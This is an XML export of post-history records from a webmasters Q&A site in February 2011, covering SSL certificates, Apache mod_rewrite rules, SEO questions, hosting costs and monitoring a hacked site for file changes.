  <row Id="21125" PostHistoryTypeId="1" PostId="9560" RevisionGUID="86f58d05-4bf9-47dd-980b-8f343745e064" CreationDate="2011-02-22T20:20:11.803" UserId="4256" Text="Example sites which use UCC certificates" />
  <row Id="21126" PostHistoryTypeId="3" PostId="9560" RevisionGUID="86f58d05-4bf9-47dd-980b-8f343745e064" CreationDate="2011-02-22T20:20:11.803" UserId="4256" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="21127" PostHistoryTypeId="25" PostId="9555" RevisionGUID="6a06bcb4-79b6-454a-94f1-d3f75d7fa112" CreationDate="2011-02-22T20:22:50.350" Comment="http://twitter.com/#!/StackWebmasters/status/40144504451383296" />
  <row Id="21128" PostHistoryTypeId="6" PostId="9559" RevisionGUID="5703c093-0f0e-4571-8c21-c977e7089f5f" CreationDate="2011-02-22T20:25:00.050" UserId="1253" Comment="Removed &quot;google-webmaster-tools' tag and added &quot;google-calendar&quot; tag" Text="&lt;google-calendar&gt;" />
  <row Id="21129" PostHistoryTypeId="6" PostId="9560" RevisionGUID="ca057533-3152-4544-bc49-20903661dbb9" CreationDate="2011-02-22T20:28:42.747" UserId="1253" Comment="Added &quot;san-certificate ucc-certificate&quot; tags" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;&lt;san-certificate&gt;&lt;ucc-certificate&gt;" />
  <row Id="21130" PostHistoryTypeId="2" PostId="9561" RevisionGUID="e282466a-d5ed-4187-8df9-9ce5aaaa3254" CreationDate="2011-02-22T20:43:23.740" UserId="5157" Text="A UC cert works like and standard cert (no green bar, that's and EV cert) but allows multiple domains/sub domains. It's used mainly for exchange servers instead of wildcard certs because exchange is looking for specific certs like mail.yourdomain.com our autodiscover.yourdomain.com instead of *.yourdomain.com.&#xD;&#xA;&#xD;&#xA;Hopefully that helps you out." />
  <row Id="21131" PostHistoryTypeId="2" PostId="9562" RevisionGUID="70a7beb6-b5a5-4c0d-b16d-feaca06e73af" CreationDate="2011-02-22T20:51:30.240" UserId="5157" Text="Well you can't make the users browser redirect while they are on the other site. You can however make it send a different file instead of the SWF they are hotlinking to.&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^$&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?yourdomain.com [NC]&#xD;&#xA;    RewriteRule \.(swf)$ http://yourdomain.com/blocked.swf [NC,R,L]&#xD;&#xA;&#xD;&#xA;Just change yourdomain.com with your domain and blocked.swf to whatever file you want them to see instead.&#xD;&#xA;&#xD;&#xA;In the future you can code something in your flash files that looks for the host name and redirects them I'm sure." />
  <row Id="21132" PostHistoryTypeId="17" PostId="9564" RevisionGUID="fd35f6ff-9b62-4648-99ce-b4fea6c35e44" CreationDate="2011-02-22T21:05:33.823" UserId="-1" Comment="from http://superuser.com/questions/249055/how-can-i-monitor-a-website-for-malicious-changes-to-the-files/249062#249062" Text="" />
  <row Id="21133" PostHistoryTypeId="2" PostId="9564" RevisionGUID="f2016633-5312-4306-8ed1-6a61b1e99ef6" CreationDate="2011-02-22T20:35:16.350" UserDisplayName="Jamie Cox" Text="You could set up a [Google Alert][1] to search your site for probable junk. For example, you might have the alert search for &quot;viagra site:example.com&quot;. Google alerts will email you if it ever finds the target of your search.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/alerts  &quot;Google Alert&quot;" />
  <row Id="21134" PostHistoryTypeId="2" PostId="9563" RevisionGUID="3d29bad5-12b0-44fc-9985-23aea633695b" CreationDate="2011-02-22T20:04:20.030" UserDisplayName="user41421" Text="I had an occasion recently where our website was compromised - a link farm was added to a couple of the pages on one occasion, and on another occasion, a large and nasty aspx file was put on the server.  I won't mention the host's name (Hostway), but I was pretty annoyed that someone was able to do this.  No, it wasn't a leaky password - around 10 sites hosted by HW with consecutive IP addresses got trashed.&#xD;&#xA;&#xD;&#xA;Anyway. What I need is a utility or service (preferably free) that takes a snapshot of my websites contents, and then regularly monitors the files (size and datestamp) for unauthorized changes or additions, and alerts me.  I've used web services that monitor one file for changes, but I'm looking for something a bit more aggressive." />
  <row Id="21135" PostHistoryTypeId="1" PostId="9563" RevisionGUID="3d29bad5-12b0-44fc-9985-23aea633695b" CreationDate="2011-02-22T20:04:20.030" UserDisplayName="user41421" Text="How can I monitor a website for malicious changes to the files" />
  <row Id="21136" PostHistoryTypeId="3" PostId="9563" RevisionGUID="3d29bad5-12b0-44fc-9985-23aea633695b" CreationDate="2011-02-22T20:04:20.030" UserDisplayName="user41421" Text="&lt;websites&gt;&lt;monitoring&gt;&lt;detection&gt;" />
  <row Id="21137" PostHistoryTypeId="17" PostId="9563" RevisionGUID="c8c62bf1-9f60-4377-85e5-3d7878250e1d" CreationDate="2011-02-22T21:05:33.823" UserId="-1" Comment="from http://superuser.com/questions/249055/how-can-i-monitor-a-website-for-malicious-changes-to-the-files" Text="" />
  <row Id="21138" PostHistoryTypeId="2" PostId="9565" RevisionGUID="44463060-7554-4bde-852a-39ea3e749dea" CreationDate="2011-02-22T21:15:54.457" UserId="4020" Text="I recently launched a new developer website, [Black Belt Coder](http://www.blackbeltcoder.com).&#xD;&#xA;&#xD;&#xA;The site is only seeing about 150 visitors per day but, given that it's only been live two months, I feel I'm off to a good start. I'd like to start monetizing the site as soon as possible but consider AdSense and other programs largely a waste of time.&#xD;&#xA;&#xD;&#xA;I'd like to deal directly with the advertisers but have no idea what to charge. Are there any guidelines for determining advertising rates based on visitors or page views? I don't expect to do PPC. I want to charge a the time period for banner ads, knowing that advertisers will be keeping an eye on the number of clicks." />
  <row Id="21139" PostHistoryTypeId="1" PostId="9565" RevisionGUID="44463060-7554-4bde-852a-39ea3e749dea" CreationDate="2011-02-22T21:15:54.457" UserId="4020" Text="Suggestions on Calculating Advertising Rates" />
  <row Id="21140" PostHistoryTypeId="3" PostId="9565" RevisionGUID="44463060-7554-4bde-852a-39ea3e749dea" CreationDate="2011-02-22T21:15:54.457" UserId="4020" Text="&lt;advertising&gt;" />
  <row Id="21141" PostHistoryTypeId="5" PostId="9565" RevisionGUID="5c62d671-ad94-4999-8e63-d1a11eb3ec02" CreationDate="2011-02-22T21:32:30.127" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do I set a price for advertising on my website?](http://webmasters.stackexchange.com/questions/8121/how-do-i-set-a-price-for-advertising-on-my-website)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I recently launched a new developer website, [Black Belt Coder](http://www.blackbeltcoder.com).&#xD;&#xA;&#xD;&#xA;The site is only seeing about 150 visitors per day but, given that it's only been live two months, I feel I'm off to a good start. I'd like to start monetizing the site as soon as possible but consider AdSense and other programs largely a waste of time.&#xD;&#xA;&#xD;&#xA;I'd like to deal directly with the advertisers but have no idea what to charge. Are there any guidelines for determining advertising rates based on visitors or page views? I don't expect to do PPC. I want to charge a the time period for banner ads, knowing that advertisers will be keeping an eye on the number of clicks." />
  <row Id="21142" PostHistoryTypeId="10" PostId="9565" RevisionGUID="1403c8c5-73bb-44ba-8e82-2a40c4650585" CreationDate="2011-02-22T21:32:29.973" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="21143" PostHistoryTypeId="2" PostId="9566" RevisionGUID="8ffaa276-2ab5-43e5-90ad-816b06baaaac" CreationDate="2011-02-22T22:13:27.377" UserId="5601" Text="I am developing a site with a mobile version and am trying to figure the appropriate way to manage the URLs for search engines. So far I've considered:&#xD;&#xA;&#xD;&#xA; 1. Having a mobile site with&#xD;&#xA;            rel=&quot;canonical&quot; links to the regular&#xD;&#xA;            site.&#xD;&#xA; 2. Putting both the mobile&#xD;&#xA;            site and full site on one URL, and&#xD;&#xA;            doing user agent sniffing.&#xD;&#xA; 3. Another&#xD;&#xA;            opinion:&#xD;&#xA;&#xD;&#xA;&gt; Spencer: &quot;If you have a mobile site at&#xD;&#xA;&gt; a separate location or URL, you should&#xD;&#xA;&gt; 301 redirect each and every mobile&#xD;&#xA;&gt; page to its corresponding page on your&#xD;&#xA;&gt; main website. Employ user agent&#xD;&#xA;&gt; detection so that the mobile optimized&#xD;&#xA;&gt; version is served up if someone's&#xD;&#xA;&gt; coming in from a hand-held.&#xD;&#xA;&gt; - http://developer.practicalecommerce.com/articles/1722-Mobile-site-Development-Best-Practices-for-SEO-Usability&#xD;&#xA;&#xD;&#xA;Both 2 and 3 make it hard for a user who wants to switch to the full site or mobile site manually, but I'm not sure 1 is the best alternative.&#xD;&#xA;&#xD;&#xA;What's the best way to write URLs for a mobile site?" />
  <row Id="21144" PostHistoryTypeId="1" PostId="9566" RevisionGUID="8ffaa276-2ab5-43e5-90ad-816b06baaaac" CreationDate="2011-02-22T22:13:27.377" UserId="5601" Text="Best SEO practices for mobile URLs: 301, rel=canonical, or something else?" />
  <row Id="21145" PostHistoryTypeId="3" PostId="9566" RevisionGUID="8ffaa276-2ab5-43e5-90ad-816b06baaaac" CreationDate="2011-02-22T22:13:27.377" UserId="5601" Text="&lt;seo&gt;&lt;url-rewriting&gt;&lt;canonical-url&gt;&lt;seo-friendly&gt;" />
  <row Id="21146" PostHistoryTypeId="2" PostId="9567" RevisionGUID="f16bd9ad-8372-40bf-b736-ac7ddb761e5a" CreationDate="2011-02-22T23:15:21.577" UserId="1253" Text="This [recent blog post from Google][1] might be helpful&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/" />
  <row Id="21147" PostHistoryTypeId="25" PostId="9566" RevisionGUID="49370c5b-862d-48b8-aeac-d20e89d6eb12" CreationDate="2011-02-22T23:22:50.547" Comment="http://twitter.com/#!/StackWebmasters/status/40189804264038400" />
  <row Id="21148" PostHistoryTypeId="2" PostId="9568" RevisionGUID="004acef1-3375-47c5-9643-63583b977f85" CreationDate="2011-02-22T23:09:07.347" UserDisplayName="JM4" Text="My site currently forces all non www. pages to use www.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ultimately, I am able to handle all unique subdomains and parse correctly but I am trying to achieve the following:&#xD;&#xA;&#xD;&#xA;(ideally with mod_rewrite):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when a consumer visits www.site.com/john4, the server processes that request as:&#xD;&#xA;www.site.com?Agent=john4&#xD;&#xA;&#xD;&#xA;Our requirements are:&#xD;&#xA;&#xD;&#xA; - The URL should continue to show www.site.com/john4 even though it was redirected to www.site.com?index.php?Agent=john4&#xD;&#xA; - If a file (of any extension OR a directory) exists with the name, the entire process stops an it tries to pull that file instead:&#xD;&#xA;  - for example: www.site.com/file would pull up (www.site.com/file.php if file.php existed on the server. www.site.com/pages would go to www.site.com/pages/index.php if the pages directory exists).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you ahead of time. I am completely at a crapshot right now." />
  <row Id="21149" PostHistoryTypeId="1" PostId="9568" RevisionGUID="004acef1-3375-47c5-9643-63583b977f85" CreationDate="2011-02-22T23:09:07.347" UserDisplayName="JM4" Text="Is it possible to mod_rewrite BASED on the existence of a file/directory and uniqueID?" />
  <row Id="21150" PostHistoryTypeId="3" PostId="9568" RevisionGUID="004acef1-3375-47c5-9643-63583b977f85" CreationDate="2011-02-22T23:09:07.347" UserDisplayName="JM4" Text="&lt;php&gt;&lt;mod-rewrite&gt;&lt;htaccess&gt;" />
  <row Id="21151" PostHistoryTypeId="17" PostId="9568" RevisionGUID="94a6c176-a286-420c-9f26-5f4a4fc8ccd5" CreationDate="2011-02-22T23:26:17.093" UserId="-1" Comment="from http://serverfault.com/questions/238916/is-it-possible-to-mod-rewrite-based-on-the-existence-of-a-file-directory-and-uniq" Text="" />
  <row Id="21152" PostHistoryTypeId="25" PostId="9563" RevisionGUID="ed313721-9d8a-4001-af45-eef73c17b953" CreationDate="2011-02-23T02:22:50.473" Comment="http://twitter.com/#!/StackWebmasters/status/40235101568630784" />
  <row Id="21153" PostHistoryTypeId="2" PostId="9569" RevisionGUID="c8825916-abcb-4bb6-9830-13e292a980dc" CreationDate="2011-02-23T03:27:08.027" UserId="1253" Text="Try this (untested)&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^index\.php$ - [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^([^/]+)/?$ index.php?Agent=$1[L]&#xD;&#xA;    &lt;/IfModule&gt;" />
  <row Id="21154" PostHistoryTypeId="2" PostId="9570" RevisionGUID="503109ea-40b1-4ba6-aa8b-9d65324373ce" CreationDate="2011-02-23T03:53:47.610" UserId="2026" Text="I recently purchased a domain [thinkzarahatke.com][1]. At the time of purchasing i selected an option, say url redirect, to my existing site. Further I had entered Naming server detail. But I dint find any other option to change URL rewrite parameters under Domain Name Manager.&#xD;&#xA;&#xD;&#xA;From the cPanel of my hosting space, I had added new domain as addon and set a sundirectory for it.&#xD;&#xA;&#xD;&#xA;Now If I am trying to access my new domain directly, it is automatically redirecting to my old website. While if i access some inside directory, like thinkzarahatke.com/blog, then i am able to access to my new site.&#xD;&#xA;&#xD;&#xA;What wrong i done? Please tell me if i need to do some more settings with addon domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thinkzarahatke.com" />
  <row Id="21155" PostHistoryTypeId="1" PostId="9570" RevisionGUID="503109ea-40b1-4ba6-aa8b-9d65324373ce" CreationDate="2011-02-23T03:53:47.610" UserId="2026" Text="Problem in Addon Domain name binding with existing directory in my webspace" />
  <row Id="21156" PostHistoryTypeId="3" PostId="9570" RevisionGUID="503109ea-40b1-4ba6-aa8b-9d65324373ce" CreationDate="2011-02-23T03:53:47.610" UserId="2026" Text="&lt;domains&gt;&lt;url-rewriting&gt;&lt;addon&gt;" />
  <row Id="21157" PostHistoryTypeId="2" PostId="9571" RevisionGUID="e552c256-7041-4724-8731-9f5db4712692" CreationDate="2011-02-23T04:46:30.580" UserId="3590" Text="Do anchors in urls affect ranking in seo?&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;website.com/cotton&quot;&gt;link 1&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;As oposed to:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;website.com/cotton#green&quot;&gt;link 2&lt;/a&gt;" />
  <row Id="21158" PostHistoryTypeId="1" PostId="9571" RevisionGUID="e552c256-7041-4724-8731-9f5db4712692" CreationDate="2011-02-23T04:46:30.580" UserId="3590" Text="Do anchors in urls affect ranking in seo?" />
  <row Id="21159" PostHistoryTypeId="3" PostId="9571" RevisionGUID="e552c256-7041-4724-8731-9f5db4712692" CreationDate="2011-02-23T04:46:30.580" UserId="3590" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;anchor&gt;&lt;named-anchor&gt;" />
  <row Id="21160" PostHistoryTypeId="5" PostId="9566" RevisionGUID="44de86ee-3822-4311-85a4-b0f80135d853" CreationDate="2011-02-23T04:50:28.463" UserId="5601" Comment="added 39 characters in body" Text="I am developing a site with a mobile version and am trying to figure the appropriate way to manage the URLs for search engines. So far I've considered:&#xD;&#xA;&#xD;&#xA; 1. Having a separate mobile site (m.example.com) with&#xD;&#xA;            rel=&quot;canonical&quot; links to the regular&#xD;&#xA;            site.&#xD;&#xA; 2. Putting both the mobile&#xD;&#xA;            site and full site on one URL (example.com), and&#xD;&#xA;            doing user agent sniffing.&#xD;&#xA; 3. Another&#xD;&#xA;            opinion:&#xD;&#xA;&#xD;&#xA;&gt; Spencer: &quot;If you have a mobile site at&#xD;&#xA;&gt; a separate location or URL, you should&#xD;&#xA;&gt; 301 redirect each and every mobile&#xD;&#xA;&gt; page to its corresponding page on your&#xD;&#xA;&gt; main website. Employ user agent&#xD;&#xA;&gt; detection so that the mobile optimized&#xD;&#xA;&gt; version is served up if someone's&#xD;&#xA;&gt; coming in from a hand-held.&#xD;&#xA;&gt; - http://developer.practicalecommerce.com/articles/1722-Mobile-site-Development-Best-Practices-for-SEO-Usability&#xD;&#xA;&#xD;&#xA;Both 2 and 3 make it hard for a user who wants to switch to the full site or mobile site manually, but I'm not sure 1 is the best alternative.&#xD;&#xA;&#xD;&#xA;What's the best way to write URLs for a mobile site?" />
  <row Id="21161" PostHistoryTypeId="2" PostId="9572" RevisionGUID="2c5a02ea-d76e-4a9f-926e-39a6c91ea09b" CreationDate="2011-02-23T04:50:44.930" UserId="3590" Text="When I seach &quot;Ride On&quot; + my sites name, I see its indexed&#xD;&#xA;But when I search for &quot;Green Horse&quot; + my site's name, I dont see my site appearing in the results anywhere!&#xD;&#xA;&#xD;&#xA;    &lt;td&gt;&lt;a href=&quot;#&quot; title=&quot;Green Horse Ride&quot;&gt;Ride On&lt;/a&gt;&lt;/td&gt;&#xD;&#xA;&#xD;&#xA;**Question1**  &#xD;&#xA;Does this mean that title=&quot;&quot; attributes are not indexed/shown by google at all?&#xD;&#xA;&#xD;&#xA;**Question2**  &#xD;&#xA;What is better to use ? Alt? what are my other alternatives except title and alt?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21162" PostHistoryTypeId="1" PostId="9572" RevisionGUID="2c5a02ea-d76e-4a9f-926e-39a6c91ea09b" CreationDate="2011-02-23T04:50:44.930" UserId="3590" Text="Why don't TITLE tags get indexed in google?" />
  <row Id="21163" PostHistoryTypeId="3" PostId="9572" RevisionGUID="2c5a02ea-d76e-4a9f-926e-39a6c91ea09b" CreationDate="2011-02-23T04:50:44.930" UserId="3590" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;links&gt;&lt;indexing&gt;&lt;title-attribute&gt;" />
  <row Id="21164" PostHistoryTypeId="25" PostId="9570" RevisionGUID="8e3a688f-1e1b-4623-aec1-a7c4ec3d8be3" CreationDate="2011-02-23T05:22:50.437" Comment="http://twitter.com/#!/StackWebmasters/status/40280400387383296" />
  <row Id="21165" PostHistoryTypeId="2" PostId="9573" RevisionGUID="7ac1fa61-0272-4104-80e5-c0c0ec4c6e82" CreationDate="2011-02-23T05:52:57.380" UserId="2044" Text="I have been using google webmaster tool. I checked out the search queries section. There i found alot keywords and its report. But i couldnot understand what those report data mean. So can anyone help me with reference or meaning of impression, change and other" />
  <row Id="21166" PostHistoryTypeId="1" PostId="9573" RevisionGUID="7ac1fa61-0272-4104-80e5-c0c0ec4c6e82" CreationDate="2011-02-23T05:52:57.380" UserId="2044" Text="What does the Impression Change in google webmaster-&gt;search section says?" />
  <row Id="21167" PostHistoryTypeId="3" PostId="9573" RevisionGUID="7ac1fa61-0272-4104-80e5-c0c0ec4c6e82" CreationDate="2011-02-23T05:52:57.380" UserId="2044" Text="&lt;google-webmaster-tools&gt;&lt;google-search&gt;&lt;impressions&gt;" />
  <row Id="21168" PostHistoryTypeId="2" PostId="9574" RevisionGUID="0a7bcde4-1e59-4c54-9d77-dda1bc37e598" CreationDate="2011-02-23T05:57:28.973" UserId="5326" Text="I'm running a (small) image hosting site which has been getting a little bit of traction lately (2,000 to 5,000 visitors a day, spikes up to 10,000). It's hosted on Linode and I've already run out of the bandwidth for this month (300 GB). I've experimented with Amazon S3 but that was costing me $5 a day, Linode currently costs me $30 a month. I get a tiny bit of revenue from ads (Adsense and Black Label Ads) but it's not enough to break even.&#xD;&#xA;&#xD;&#xA;What should I do? Obviously I'd like to keep running the site but not if it starts costing me a lot of money.&#xD;&#xA;" />
  <row Id="21169" PostHistoryTypeId="1" PostId="9574" RevisionGUID="0a7bcde4-1e59-4c54-9d77-dda1bc37e598" CreationDate="2011-02-23T05:57:28.973" UserId="5326" Text="My site is getting popular, bandwidth expensive" />
  <row Id="21170" PostHistoryTypeId="3" PostId="9574" RevisionGUID="0a7bcde4-1e59-4c54-9d77-dda1bc37e598" CreationDate="2011-02-23T05:57:28.973" UserId="5326" Text="&lt;web-hosting&gt;&lt;images&gt;&lt;bandwidth&gt;&lt;amazon-s3&gt;" />
  <row Id="21171" PostHistoryTypeId="2" PostId="9575" RevisionGUID="4f55b0be-f79f-41c8-90db-027c90d63ebf" CreationDate="2011-02-23T06:22:03.850" UserId="4322" Text="It is generally considered that title attributes are not indexed, while the alt attribute is.&#xD;&#xA;&#xD;&#xA;The alt attribute is only valid on img tags while you can place the title attribute on any tag.&#xD;&#xA;&#xD;&#xA;Use title for enhancing user experience. It controls the tooltip when you hover over the tag in question.&#xD;&#xA;&#xD;&#xA;Use alt on images when the image needs explaining so that people who can't see the image can still understand the page. Otherwise it should be blank." />
  <row Id="21172" PostHistoryTypeId="2" PostId="9576" RevisionGUID="a65448ea-7db7-4edb-a7b7-0ed0b3f8126d" CreationDate="2011-02-23T06:34:25.137" UserId="1218" Text="We've been using this, [Monitor Hacked Files][1], which is a PHP script that you install on the server. It notifies you if there are any changes to your site -- sending an email with a list of changed files. This at least tells you where to look. Definitely better than Google or clients finding out before you do!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webchicklet.com/tools/monitorhackdfiles-tool-helps-fight-site-hackers/" />
  <row Id="21173" PostHistoryTypeId="2" PostId="9577" RevisionGUID="f3b89312-4bfa-4586-a752-e3dfb7107f7a" CreationDate="2011-02-23T06:40:07.283" UserId="5605" Text="You can try hosting static content at hetzner, it allows 4tb of free (included) traffic, 6.5 euros per tb over the free limit. But you would pay more for the storage." />
  <row Id="21174" PostHistoryTypeId="25" PostId="9574" RevisionGUID="fc9d5cbe-0b20-4e1a-b650-317f01de38ce" CreationDate="2011-02-23T08:22:50.307" Comment="http://twitter.com/#!/StackWebmasters/status/40325698782638080" />
  <row Id="21175" PostHistoryTypeId="2" PostId="9578" RevisionGUID="6bfaa092-435d-4db1-8fd8-c3b78dc378c1" CreationDate="2011-02-23T08:28:43.357" UserDisplayName="Benny" Text="On SO it does not affect it on I think it is the same on other sites too.&#xD;&#xA;&#xD;&#xA;The anchors do not affect the rankings in SEO." />
  <row Id="21176" PostHistoryTypeId="2" PostId="9579" RevisionGUID="1df6524b-6f29-414f-bad7-fd0d40b5b6c7" CreationDate="2011-02-23T08:48:18.213" UserId="5606" Text="As in the title: Where can I find XAMPP Lite distributions for Windows? The [Apache Friends][1] website doesn't host it anymore.&#xD;&#xA;&#xD;&#xA;If not, are there any comparable alternatives?&#xD;&#xA;&#xD;&#xA;I would like to keep my development environment sync'ed from my NAS in order to work on it on every machine - Synchronization takes too much time when there are 5000+ files which require an update.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apachefriends.org/en/xampp-windows.html" />
  <row Id="21177" PostHistoryTypeId="1" PostId="9579" RevisionGUID="1df6524b-6f29-414f-bad7-fd0d40b5b6c7" CreationDate="2011-02-23T08:48:18.213" UserId="5606" Text="Does XAMPP Lite still exist? Are there any alternatives?" />
  <row Id="21178" PostHistoryTypeId="3" PostId="9579" RevisionGUID="1df6524b-6f29-414f-bad7-fd0d40b5b6c7" CreationDate="2011-02-23T08:48:18.213" UserId="5606" Text="&lt;xampp&gt;" />
  <row Id="21179" PostHistoryTypeId="2" PostId="9580" RevisionGUID="9324332a-e415-43e0-aac5-756369c86d7c" CreationDate="2011-02-23T08:52:50.220" UserId="5607" Text="Maybe you should chceck WampServer http://www.wampserver.com/en/" />
  <row Id="21180" PostHistoryTypeId="2" PostId="9581" RevisionGUID="4b6f065d-615a-48e4-b850-89a524ab192d" CreationDate="2011-02-23T09:13:02.497" UserId="1529" Text="I have a bilingual site in Drupal. The problem is that I hate the language switch block taking up so much space (sometimes the only thing in the sidebar is the language switch block).&#xD;&#xA;&#xD;&#xA;So what I would love to have is language switch menu item, that would point to the other language (other then the current one).&#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;&#xD;&#xA;    | Home | Projects | BlaBla |        | Česky |&#xD;&#xA;&#xD;&#xA; after swith:&#xD;&#xA;&#xD;&#xA;    | Domů | Projekty | Blabla |        | English | &#xD;&#xA;&#xD;&#xA;Is that possible without writing a whole new module?" />
  <row Id="21181" PostHistoryTypeId="1" PostId="9581" RevisionGUID="4b6f065d-615a-48e4-b850-89a524ab192d" CreationDate="2011-02-23T09:13:02.497" UserId="1529" Text="Making a language switch main menu button in Drupal" />
  <row Id="21182" PostHistoryTypeId="3" PostId="9581" RevisionGUID="4b6f065d-615a-48e4-b850-89a524ab192d" CreationDate="2011-02-23T09:13:02.497" UserId="1529" Text="&lt;drupal&gt;&lt;i18n&gt;" />
  <row Id="21183" PostHistoryTypeId="2" PostId="9582" RevisionGUID="e45be1bb-f0e7-4fba-a5ee-b1f5128b26de" CreationDate="2011-02-23T10:31:23.603" UserId="4502" Text="You can still download Lite by going straight to the &lt;a href=&quot;http://sourceforge.net/projects/xampp/files/XAMPP%20Windows/&quot;&gt;Sourceforge project files&lt;/a&gt;, but it seems that a build for 1.7.4 never happened. You can grab for 1.7.3 there if you want, though.  &#xD;&#xA;A few forum threads have already &lt;a href=&quot;http://www.apachefriends.org/f/search.php?st=0&amp;sk=t&amp;sd=d&amp;sr=posts&amp;keywords=lite&amp;fid[]=16&quot;&gt;been opened&lt;/a&gt; asking about it, but no response from the devs.&#xD;&#xA;&#xD;&#xA;URL for forum search: http://www.apachefriends.org/f/search.php?st=0&amp;sk=t&amp;sd=d&amp;sr=posts&amp;keywords=lite&amp;fid[]=16 (It's being ignored/stripped by the answer textarea, for some reason when I try to make a proper link with it.)" />
  <row Id="21184" PostHistoryTypeId="2" PostId="9583" RevisionGUID="dd5d680a-12af-4fbb-a19e-f0ce6e6488b8" CreationDate="2011-02-23T11:10:49.617" UserId="4544" Text="I'm in the process of learning how to design my website. I've been reading a lot of design theory but now that I'm about to start learning how to use the tools, I'm stuck!&#xD;&#xA;&#xD;&#xA;What tool shall I use? There are so many!&#xD;&#xA;&#xD;&#xA;Photoshop? InDesign? Illustrator?&#xD;&#xA;&#xD;&#xA;Can anyone explain me what should I use and what's the best way to learn?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="21185" PostHistoryTypeId="1" PostId="9583" RevisionGUID="dd5d680a-12af-4fbb-a19e-f0ce6e6488b8" CreationDate="2011-02-23T11:10:49.617" UserId="4544" Text="Shall I use Photoshop to design my websites?" />
  <row Id="21186" PostHistoryTypeId="3" PostId="9583" RevisionGUID="dd5d680a-12af-4fbb-a19e-f0ce6e6488b8" CreationDate="2011-02-23T11:10:49.617" UserId="4544" Text="&lt;website-design&gt;&lt;websites&gt;&lt;design&gt;&lt;photoshop&gt;" />
  <row Id="21187" PostHistoryTypeId="25" PostId="9579" RevisionGUID="06131601-c762-488f-baac-21d65201815e" CreationDate="2011-02-23T11:22:50.450" Comment="http://twitter.com/#!/StackWebmasters/status/40370996955320321" />
  <row Id="21188" PostHistoryTypeId="2" PostId="9584" RevisionGUID="d5e219c9-6237-43f5-b45e-20cc562287e4" CreationDate="2011-02-23T11:38:00.697" UserDisplayName="Nicolás A." Text="I have to build a new website for my client.. and he needs this stuff:&#xD;&#xA;&#xD;&#xA;A user generated content website.. where users can upload their own videos.. (i will use a video hosting platform with api like fliqz.com)&#xD;&#xA;&#xD;&#xA;I must manage a big user system.. where users can create their own &quot;sub-users&quot;... &#xD;&#xA;the site must manage paid subscriptions and payments through paypal.. and other payment gateways...&#xD;&#xA;&#xD;&#xA;So the question is.. i have to use a pre-built CMS and extend it.. or just a good framework?&#xD;&#xA;&#xD;&#xA;I've been thinking about joomla, drupal and expressionengine...&#xD;&#xA;&#xD;&#xA;It's not neccesary to use a open source cms... &#xD;&#xA;&#xD;&#xA;I've looking at drupal.. but is not as easy to understand and extend...&#xD;&#xA;&#xD;&#xA;Can anyone help me to make a good decision?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21189" PostHistoryTypeId="1" PostId="9584" RevisionGUID="d5e219c9-6237-43f5-b45e-20cc562287e4" CreationDate="2011-02-23T11:38:00.697" UserDisplayName="Nicolás A." Text="Which CMS can I use for my project?" />
  <row Id="21190" PostHistoryTypeId="3" PostId="9584" RevisionGUID="d5e219c9-6237-43f5-b45e-20cc562287e4" CreationDate="2011-02-23T11:38:00.697" UserDisplayName="Nicolás A." Text="&lt;video&gt;&lt;websites&gt;&lt;cms&gt;" />
  <row Id="21191" PostHistoryTypeId="17" PostId="9584" RevisionGUID="76ea76d5-58dd-4236-a4c2-8080585e5125" CreationDate="2011-02-23T12:12:05.000" UserId="-1" Comment="from http://stackoverflow.com/questions/5090357/which-cms-can-i-use-for-my-project" Text="" />
  <row Id="21192" PostHistoryTypeId="17" PostId="9586" RevisionGUID="97fe7866-5b7e-42e1-beb9-3df1ebd9681b" CreationDate="2011-02-23T12:18:16.183" UserId="-1" Comment="from http://stackoverflow.com/questions/5087802/seo-expert-question/5087828#5087828" Text="" />
  <row Id="21193" PostHistoryTypeId="17" PostId="9587" RevisionGUID="812682e0-1def-459c-8a32-295e91f7b2a1" CreationDate="2011-02-23T12:18:16.183" UserId="-1" Comment="from http://stackoverflow.com/questions/5087802/seo-expert-question/5087911#5087911" Text="" />
  <row Id="21194" PostHistoryTypeId="2" PostId="9586" RevisionGUID="f5fad248-5796-4a81-b2f7-5f18f7906316" CreationDate="2011-02-23T06:46:58.453" UserId="4660" Text="This is called [content scraping][1]. Yes. It is not directly against Google terms, but definitely they don't like non-original content. Read [Google's catch on this][2].&#xD;&#xA;Also this is a violation of copyright, in most cases.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Web_scraping&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=66361" />
